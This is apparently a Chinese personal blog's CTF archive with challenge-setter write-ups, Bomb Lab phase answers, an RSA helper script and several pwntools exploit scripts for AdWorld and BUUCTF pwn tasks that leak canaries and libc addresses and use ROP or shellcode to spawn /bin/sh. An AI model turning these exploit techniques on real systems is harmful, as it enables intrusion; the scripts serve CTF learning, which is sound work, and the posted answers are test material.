就说自己做出来的。
分类目录归档:CTF
第二届BJDCTF DreamerJack题目出题人题解
下面是DreamerJack同学的出题人题解。
Programming: Strenuous_Huffman
本题的题解需要占个坑。主要是因为吧。。。题目描述里说的是真的。。这个是本人的数据结构作业,老师还没审查,直接把整套源码发出来我作业就不用交了,所以先占个坑。后续整套源码会发布到Github上。不过可以先说下本题的难点在哪里。其实这个题只是我数据结构作业题的一部分,只涉及解压缩。难度相对于压缩部分较小。正统解法是BitMap+Trie Tree解压。如果暴力一点也可以不用Trie。难度就在于BitMap的编写上。因为这个压缩的时候都是按位压缩的,最低的操作单位是比特。而咱们C/C++操作的最低单位都是按字节。所以要求代码编写者对位运算有比较深刻的认识才能够写得出来。
主要的解题思路如下。编写一个BitMap类,要支持从文件加载内容到内部数组和将内部数组存储到文件中,还要支持按位对数组的访问。然后按照压缩编码和原始编码的对应关系,逐个的将压缩后的比特信息翻译为原始信息并保存。
整套源码发布遥遥无期(看老师啥时候查完作业),想要源码的同学可持续关注本文章。
PS:要提醒的一点是:我自己开发的压缩算法经过测试,确实压缩效果较差。本源码仅供教学用途使用。不要异想天开真的拿这玩意去压缩东西。。。
2020.05.09:此代码已开源:https://github.com/bjrjk/JackZIPPacker
Reverse: 8086 ASM
为什么想要出这道题目呢?我校最近正在学习8086汇编,因此出这道题目。
源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 | DATAS SEGMENT str1 DB 5dH,55H,5bH,64H,75H,7eH,7cH,74H DB 40H,7bH,7aH,40H,77H,6aH,2eH,7dH,2eH DB 7eH,71H,40H,67H,6aH,7aH,7bH,7aH,40H DB 77H,7aH,71H,57H,7eH,2fH,62H,59 DATAS ENDS STACKS SEGMENT STACKS ENDS CODES SEGMENT ASSUME CS:CODES,DS:DATAS,SS:STACKS loc: jmp loc mov CX,34 lea BX,str1 lop: mov DI,CX dec DI xor BYTE PTR [BX][DI],31 loop lop lea DX,str1 mov AH,09H int 21H ret START: MOV AX,DATAS MOV DS,AX call loc MOV AH,4CH INT 21H CODES ENDS END START |
本题其实很简单,str1存放的是一个MSDOS格式的以$结尾的经过异或加密的字符串。汇编代码就是把这玩意解密了一下然后syscall输出。jmp loc的死循环就是用来干扰人的。如果想要不劳而获放到DOS里直接跑会死循环。放到IDA里看的话,IDA会把lop下面那段代码当作是数据。需要把他们强转一下成代码才行。本题也可以用调试器手动改EIP执行。顺便宣传一下自己做的8086调试器套件:DOSBox-8086Assembly
PS:我汇编学的还行是真的^v^,死循环是我故意写的^v^
Misc: A Beautiful Picture
很简单的一个png隐写。说实话,图画的不怎么好看。。一看这图片长1000,高900,有没有感觉有点不对劲呢?用010HexEditor,直接把png图片高度改成1000,flag就出来了。。
更新:题目复现地址: https://buuoj.cn/
20200510更新:本人CTFd已下线。
题目下载链接:https://renjikai.com/wp-content/uploads/2020/03/BJD2_DreamerJack.zip
CTF RSA 高精度整数开根 解一元二次方程
做BJDCTF第二届出的RSA题目,需要解高精度整数的一元二次方程,参考着网上写了个Python脚本。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | def HPSqrt(a,b): #高精度开整数根,a为开几次根,b为要开根的数 l=0 r=1 while(r**a<=b): l=r r=r*2 while(l+1<r): mid=(l+r)//2 if (mid**a<=b): l=mid else: r=mid if (l**a<=b): return l else: return r def HPSolve12(a,b,c): #高精度解整数一元二次方程,解RSA用 key=HPSqrt(2,b*b-4*a*c) return ((-b+key)//2//a,(-b-key)//2//a) a=1 b=-2 c=1 print(HPSolve12(a,b,c)) #将方程整理成ax^2+bx+c=0的形式代入即可 |
参考资料:高精度Python开根 https://www.luogu.com.cn/blog/wjy666/solution-p2293
CMU 15213 Bomb Lab Reverse
被foobar科学院的朋友们拉进坑。
这些逆向题,都算还比较简单的,至少比AdWorld的有些题简单。。
主要使用IDA F5解决。里面的符号名字需配合我的加好注释的i64食用。
Phase_1:显然输入Border relations with Canada have never been better.即可。
Phase_2:程序逻辑是 读入6个数,要求每个数是前面一个数的2倍。且第一个数必须是一。故填入1 2 4 8 16 32。
Phase_3:读入两个数,有一个大Switch,只要照着Switch里的对应关系填好就行。我选0 207.
Phase_4:读入两个数,第二个数没用,但是要求小于14,第一个数调用一个递归函数。懒得看这个递归,暴力跑一下,填0即可。故输入0 0.
Phase_5:首先要求字符串长度是6.然后依次取字符串每个字符的低8位,到长为0xF的字符数组中去置换字符。拼出来是flyers即胜利。一种可能的解是ionefg。
Phase_6:这关是最麻烦的。得一点一点看。注意符号里留下的暗示,node1~node6,其实这些东西代表单链表节点,前8个字节是long long的value,后8个字节是node* 的ptr。把数都读入到arr1[6]里面。第一个大循环要求每个数小于等于6,且数组里每个数不重复。第二个循环使数组里每个数x都变为7-x。第三个循环在栈上开了空间node* v17[6],用来存放单链表节点地址。根据arr1[i]的值来确定v17[i]该存入那个地址。即v17[i]=&node[arr1[i]]。从这里可以猜测判断,前面人输入的数不能是0.必须是1-6.第4个循环最复杂。他的实际作用是根据v17数组的前后顺序更改Node1到Node6这几个节点的连接关系。可配合i64代码自行思考。第5个循环是约束条件,要求链表前面的节点的LODWORD(即Longlong的低32bit signed int)要大于后一个节点的。由此查看Node的内存布局。按照LODWORD排序,应该是3 4 5 6 1 2.再用7去减,就得4 3 2 1 6 5.输入即可通关。
CMU链接:http://csapp.cs.cmu.edu/3e/labs.html
IDA i64下载链接、源程序下载链接:bomb
AdWorld Pwn pwn1
Canary泄露入门题:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=1&id=4598&page=1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 | from pwn import * from LibcSearcher import * import os context.log_level="debug" context(arch="amd64",os="linux") ROP_PopRdi = 0x400a93 ROP_Ret = 0x40067e ADDR_GOT_read = 0x600FD0 ADDR_PLT_puts = 0x400690 ADDR_SYM_main = 0x400908 p = remote("111.198.29.45",38563) #p = process("./babystack") p.sendlineafter(">> ","1") payload1 = b'0'*0x88 p.sendline(payload1) p.sendlineafter(">> ","2") p.recvuntil("00\n") canary = u64(b"\x00" + p.recv(7)) print(hex(canary)) p.sendlineafter(">> ","1") payload2 = b'0'*0x88 + p64(canary) + p64(0) + p64(ROP_PopRdi) + p64(ADDR_GOT_read) + p64(ADDR_PLT_puts) + p64(ADDR_SYM_main) p.sendline(payload2) p.sendlineafter(">> ","3") GOT_read = p.recvuntil("\n").split()[0] for i in range(len(GOT_read),8): GOT_read += b'\x00' GOT_read = u64(GOT_read) libc = LibcSearcher("read",GOT_read) ADDR_LibC_base = GOT_read - libc.dump("read") ADDR_system = ADDR_LibC_base + libc.dump("system") ADDR_String_Sh = ADDR_LibC_base + libc.dump("str_bin_sh") p.sendlineafter(">> ","1") payload3 = b'0'*0x88 + p64(canary) + p64(0) + p64(ROP_Ret) + p64(ROP_PopRdi) + p64(ADDR_String_Sh) + p64(ADDR_system) p.sendline(payload3) p.sendlineafter(">> ","3") p.interactive() |
AdWorld Pwn pwn-200
学了64位的ROPGadgets就把32位咋传参的搞忘了???
https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=1&id=4847&page=1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | from pwn import * from LibcSearcher import * import time context.log_level="debug" context(arch="amd64",os="linux") z = remote('111.198.29.45',49363) z.recvuntil("Welcome to XDCTF2015~!\n") elf = ELF("./pwn") write_plt = elf.plt['write'] read_got = elf.got['read'] main_addr = 0x80484be payload = b'a'*0x6c + p32(0) + p32(write_plt) + p32(main_addr) + p32(1) + p32(read_got) + p32(4) + b'a'*(0x100-6*4-0x6c) z.send(payload) read_addr = u32(z.recv(4)) print(hex(read_addr)) libc = LibcSearcher('read',read_addr) libc_addr = read_addr - libc.dump('read') sys_addr = libc_addr + libc.dump('system') binsh_addr = libc_addr + libc.dump('str_bin_sh') payload2 = b'a'*0x6c + p32(0) + p32(sys_addr) + p32(0) + p32(binsh_addr) + b'a'*(0x100-4*4-0x6c) z.send(payload2) z.interactive() |
有两点要注意:一个是read函数会不多不少的读入给定的字节数,不需要换行,如果多打了换行是会算到下一个read里的。
(更新:用换行可以提前结束read函数,且这个换行符会被读入)
还有一个问题是又和64位搞混了。把栈布局成了write_plt,1,read_got,4,main_addr的结构。这是错误的。栈应该如下布置:call_function,return_function,var_1,var_2,…
AdWorld Pwn note-service2
新接触的一道题,新题型。。
https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=1&id=4611&page=1
Writeup: https://adworld.xctf.org.cn/media/uploads/writeup/ee65882803c511ea9f5700163e004e93.pdf
开眼23333。。。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | from pwn import * from LibcSearcher import * context.log_level="debug" context(arch="amd64",os="linux") def create(p,index,size,content): p.sendlineafter("your choice>> ","1") p.sendlineafter("index:",str(index)) p.sendlineafter("size:",str(size)) p.sendafter("content:",content) def delete(p,index): p.sendlineafter("your choice>> ","4") p.sendlineafter("index:",str(index)) p = remote("111.198.29.45",34191) #p = process("./1") ASM = [] ASM.append(asm("xor rax,rax") + b"\x90\x90\xeb\x19") ASM.append(asm("mov eax,0x3b") + b"\xeb\x19") ASM.append(asm("xor rsi,rsi") + b"\x90\x90\xeb\x19") ASM.append(asm("xor rdx,rdx") + b"\x90\x90\xeb\x19") ASM.append(asm("syscall") + b"\x90\x90\x90\x90\x90") for i in range(0,5): create(p,i,8,ASM[i]) delete(p,0) create(p,-8,8,ASM[0]) p.sendlineafter("your choice>> ","/bin/sh") p.interactive() |
附上i64db:
1f10c9df3d784b5ba04b205c1610a11e
CTF Pwn AdWorld stack2
https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=1&id=4695&page=1
新颖题型:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | from pwn import * context.log_level="debug" context(arch="amd64",os="linux") def change(p,offset,num): p.sendline("3") p.sendline(str(offset)) p.sendline(str(num)) p = remote("111.198.29.45",48634) p.sendline("0") off = 0x84 system_addr = 0x8048450 sh_addr = 0x8048987 for i in range(0,4): change(p,off+i,system_addr&0xFF) system_addr>>=8 off += 8 for i in range(0,4): change(p,off+i,sh_addr&0xFF) sh_addr>>=8 p.sendline("5") p.interactive() |
BUUCTF Pwn ciscn_2019_c_1
本题涉及了栈对齐问题,这个pwn在ubuntu18上运行,调用system的时候需要加1个retn来去补齐,目前不知道具体的原因。经实验再多加4个retn也可,可知这个栈对齐是32字节的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 | from pwn import * from LibcSearcher import * context.log_level="debug" context(arch="amd64",os="linux") pop_rdi = 0x0000000000400c83 puts_got_addr = 0x602020 puts_plt_addr = 0x4006e0 encrypt_sym_addr = 0x4009A0 ret = 0x4006b9 #p = remote("node3.buuoj.cn",28578) p=process("./ciscn_2019_c_1") p.sendline("1") payload=b'0'*0x50+p64(0)+p64(pop_rdi)+p64(puts_got_addr)+p64(puts_plt_addr)+p64(encrypt_sym_addr) p.sendline(payload) p.recvuntil("Ciphertext\n") p.recvuntil("\n") GOT_puts=p.recvuntil("\n").split()[0] print(GOT_puts) for i in range(len(GOT_puts),8): GOT_puts += b'\x00' GOT_puts = u64(GOT_puts) libc = LibcSearcher("puts",GOT_puts) ADDR_LibC_base = GOT_puts - libc.dump("puts") ADDR_system = ADDR_LibC_base + libc.dump("system") ADDR_String_Sh = ADDR_LibC_base + libc.dump("str_bin_sh") payload=b'0'*0x50+p64(0)+p64(ret)+p64(ret)+p64(ret)+p64(ret)+p64(ret)+p64(pop_rdi)+p64(ADDR_String_Sh)+p64(ADDR_system) # 删去4个retn也可 p.sendline(payload) p.interactive() |
CTF Pwn ROP Pwn-100
今日学习ROP。并看着WriteUp做出了一道题目。
ROP主要参考资料:(不分先后)
https://www.jianshu.com/p/80d7150dd0a2
https://baike.baidu.com/item/ROP%E7%B3%BB%E7%BB%9F%E6%94%BB%E5%87%BB/16230646?fr=aladdin
https://www.jianshu.com/p/1d7f0c56a323
https://www.cnblogs.com/ichunqiu/p/9288935.html
题目地址:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=1&id=4888&page=1
Exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | from pwn import * from LibcSearcher import * context.log_level="debug" context(arch="amd64",os="linux") ROP_PopRdi = 0x400763 ADDR_GOT_read = 0x601028 ADDR_PLT_puts = 0x400500 ADDR_SYM_main = 0x4006b8 p = remote("111.198.29.45",30265) payload1 = b'0'*0x48 + p64(ROP_PopRdi) + p64(ADDR_GOT_read) + p64(ADDR_PLT_puts) + p64(ADDR_SYM_main) + b'0'*(0xc8-0x48-32) p.send(payload1) p.recvuntil("bye~\n") GOT_read = p.recvuntil("\n").split()[0] for i in range(len(GOT_read),8): GOT_read += b'\x00' GOT_read = u64(GOT_read) libc = LibcSearcher("read",GOT_read) ADDR_LibC_base = GOT_read - libc.dump("read") ADDR_system = ADDR_LibC_base + libc.dump("system") ADDR_String_Sh = ADDR_LibC_base + libc.dump("str_bin_sh") payload2 = b'0'*0x48 + p64(ROP_PopRdi) + p64(ADDR_String_Sh) + p64(ADDR_system) + b'0'*(0xc8-0x48-24) p.send(payload2) p.recvuntil("bye~\n") p.interactive() |